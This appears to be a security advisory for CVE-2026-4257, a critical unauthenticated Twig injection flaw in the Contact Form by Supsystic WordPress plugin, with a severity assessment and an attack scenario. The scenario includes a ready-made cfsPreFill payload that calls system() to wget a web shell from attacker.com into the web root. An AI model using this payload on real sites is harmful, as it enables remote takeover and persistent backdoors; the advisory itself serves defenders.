Contact Form By Supsystic CVE-2026-4257

Contact Form by Supsystic WordPress plugin versions up to 1.7.36 must be installed and activated. Attacker sends unauthenticated HTTP GET request with malicious Twig expressions in cfsPreFill parameter. No victim interaction required. Remote unauthenticated exploitation.

This vulnerability presents critical real-world risk requiring immediate prioritization. The CVSS 9.8 score accurately reflects severity: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The unauthenticated RCE attack surface makes this trivially exploitable by remote attackers with basic HTTP knowledge. While EPSS probability is not provided in the input data and no CISA KEV status confirms active exploitation at time of analysis, the technical characteristics suggest high weaponization potential: WordPress plugins have large install bases, the vulnerability requires only crafted GET requests (no complex exploitation chains), and RCE is the most impactful outcome. The availability of a public changeset (patch commit 3491826) and detailed Wordfence threat intelligence increases the likelihood that proof-of-concept exploits will emerge rapidly. Organizations running affected versions face immediate risk of complete server compromise, data exfiltration, malware deployment, and lateral movement. The SSVC framework would classify this as high technical impact (arbitrary code execution), fully automatable (HTTP GET request), and requiring immediate action given the attack vector characteristics.

An unauthenticated remote attacker identifies a WordPress site running Contact Form by Supsystic version 1.7.36 or earlier through plugin enumeration (wp-content/plugins/contact-form-by-supsystic). The attacker crafts a malicious GET request to the contact form page with a parameter like ?cfsPreFill[field_name]={{_self.env.registerUndefinedFilterCallback('system')|filter|system('wget http://attacker.com/shell.php -O /var/www/html/backdoor.php')}}. When the vulnerable forms.php processes this prefill request, Twig renders the injected expression, registering the system() PHP function as a Twig filter and executing the command to download a web shell. The attacker now has persistent backdoor access with web server privileges, enabling data theft, website defacement, cryptocurrency mining, or pivoting to internal network resources. No public exploit code confirmation at time of analysis, but the simplicity of exploitation (single HTTP GET request) and availability of patch details significantly lower the bar for weaponization.